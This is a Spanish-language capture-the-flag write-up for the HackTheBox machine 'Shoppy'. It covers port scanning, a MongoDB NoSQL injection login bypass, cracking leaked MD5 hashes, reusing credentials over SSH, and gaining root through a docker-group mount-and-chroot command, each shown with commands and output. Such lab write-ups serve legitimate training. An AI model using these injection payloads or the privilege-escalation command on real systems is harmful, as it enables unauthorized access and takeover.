Inicio Shoppy WriteUp
Entrada
Cancelar

Shoppy WriteUp

Les explicaré cómo comprometer la máquina Shoppy de HackTheBox. En esta máquina nos enfretaremos a un NoSQLi de MongoDB y ganaremos acceso al sistema gracias a una contraseña filtrada y para la escalada nos vamos a aprovechar del grupo Docker.

Escaneo NMAP

Antes de empezar les recomiendo hacer un escaneo para saber que puertos estan abiertos y que servicios corren por ellos, ya que esta información nos sera util para continuar con la prueba de penetración.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.180 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-15 11:59 -04
Initiating SYN Stealth Scan at 11:59
Scanning 10.10.11.180 [65535 ports]
Discovered open port 80/tcp on 10.10.11.180
Discovered open port 22/tcp on 10.10.11.180
Discovered open port 9093/tcp on 10.10.11.180
Completed SYN Stealth Scan at 12:00, 15.14s elapsed (65535 total ports)
Nmap scan report for 10.10.11.180
Host is up, received user-set (0.16s latency).
Scanned at 2023-01-15 11:59:53 -04 for 16s
Not shown: 65368 closed tcp ports (reset), 164 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
9093/tcp open  copycat syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
           Raw packets sent: 74269 (3.268MB) | Rcvd: 73540 (2.942MB)

Nos percatamos que tiene el SSH abierto y el puerto 80 que corresponde al HTTP, al entrar a la web no vemos nada, ya que se esta aplicando virtual hosting, para solucionarlo hacemos lo siguiente:

1
echo "10.10.11.180       shoppy.htb" | tee -a /etc/hosts

Ahora debemos ver una web con una cuenta regresiva, nada importante

Enumeración

Enumerando directorios con WFUZZ nos encontramos lo siguiente. Nota: Debes tener clonado el repositorio de SecList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ wfuzz -c --hc=404 -t 50 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://shoppy.htb/FUZZ  2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://shoppy.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                
=====================================================================

000000053:   200        25 L     62 W       1074 Ch     "login"                                                                                                                
000000016:   301        10 L     16 W       179 Ch      "images"                                                                                                               
000000291:   301        10 L     16 W       179 Ch      "assets"                                                                                                               
000000259:   302        0 L      4 W        28 Ch       "admin"   

Nos encontramos con /login , intentamos acceder pero esta protegido por un login, podemos probar con una injección SQL y ver si es vulnerable a este tipo de ataque.

Login Shoppy Login Shoppy

Introducimos una comilla al final del usuario para ver si la query de la consulta es vulnerable a SQL injection, notamos que el servidor se demora en responder, por lo que confirmamos que es vulnerble.

Login Shoppy Login Shoppy Podemos seguir probando tipicas SQL injection, pero al final ninguna funcionará.

1
2
3
4
'
'-- -
' or '1'='1
' or '1'='1'-- -

Pero vemos que ninguna funciona, eso nos da una pista que debemos probar con una injección NoSQL, una base de las bases de datos mas usadas son MongoDB, buscando payloads en Google encontramos estos blogs MongoDB SQL injection y este otro blog No SQl injection.

Podemos probar admin'||'1==1 y poner cualquier contraseña:

Login Shoppy Bypass Login

Bingo!!! Ganamos acceso como administrador, en el buscador podemos repetir la injección. Login Shoppy

Nos sale una opción para descargar un archivo JSON, cuando vemos el archivo vemos 2 usuarios y sus respectivos hashes. Creamos un archivo con los hashes y lo intentaremos crakear con john

1
2
3
4
5
6
7
8
9
10
11
12
echo "admin:23c6877d9e2b564ef8b32c3a23de27b2" > hashes
echo "josh:6ebcea65320589ca4f2f1ce039975995" >> hashes
❯ john -w:/usr/share/wordlists/rockyou.txt hashes --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)
1g 0:00:00:02 DONE (2023-01-15 12:44) 0.4444g/s 6374Kp/s 6374Kc/s 6735KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Tenemos una contraseña, podemos buscar por subdominios a ver que nos encontramos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ gobuster vhost  -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb/ -t 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.htb/
[+] Method:       GET
[+] Threads:      200
[+] Wordlist:     /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2023/01/15 12:48:41 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb (Status: 200) [Size: 3122]
Progress: 52985 / 100001 (52.98%)    

Tenemos un subdominio, la misma historia lo añadimos en el /etc/hosts.

Al entrar en el web nos encontramos con esto Login Shoppy Login Mattermost

Viendo las conversaciones nos dan un usuario y sus credenciales para el SSH, nos conectamos. Login Shoppy Information leaked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ ssh jaeger@10.10.11.180
jaeger@10.10.11.180's password: Sh0ppyBest@pp!
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 15 11:02:26 2023 from 10.10.14.26
manpath: can't set the locale; make sure $LC_* and $LANG are correct
jaeger@shoppy:~$ export TERM=xterm
jaeger@shoppy:~$ 

Una vez dentro podemos ver si tenemos algún privilegio asignado a sudo, vemos que podemos ejecutar como el usuario deploy un ejecutable.

Enumeración del sistema

1
2
3
4
5
6
7
8
9
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: Sh0ppyBest@pp!
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager
jaeger@shoppy:~$ 

Intentamos ejecutar el comando

1
2
3
4
5
jaeger@shoppy:~$ sudo -u deploy /home/deploy/passw*
Welcome to Josh password manager!
Please enter your master password: Password
Access denied! This incident will be reported !
jaeger@shoppy:~$ 

La contraseña no es correcta, jugando con XXD podemos ver que la contraseña se filtra, bingo ya descubrimos la contraseña, ahora lo ejecutamos como el usuario deploy

Login Shoppy Password-Manager

1
2
3
4
5
6
7
8
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$ 

Podemos migrar al usuario Deploy .

1
2
3
4
5
6
7
8
jaeger@shoppy:~$ su deploy
Password: Deploying@pp!
$ bash
deploy@shoppy:/home/jaeger$ 
deploy@shoppy:/home/jaeger$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy@shoppy:/home/jaeger$ 

Escalada de privilegios

Pertenecemos al grupo docker mirando GtfObins podemos ver que podemos abusar del grupo docker Ejecutamos el comando nos da una shell como root.

1
2
 deploy@shoppy:/home/jaeger$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
root@3ea87a82734f:/# 

Ganamos acceso root, ya rooteamos la máquina ahora podemos leer las flags respectivas para cada usuario.

1
2
3
4
5
root@3ea87a82734f:~# cat root.txt 
3d4c1a0477********************66
root@3ea87a82734f:~# cat /home/jaeger/user.txt 
3d97fe0060********************67
root@3ea87a82734f:~# 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.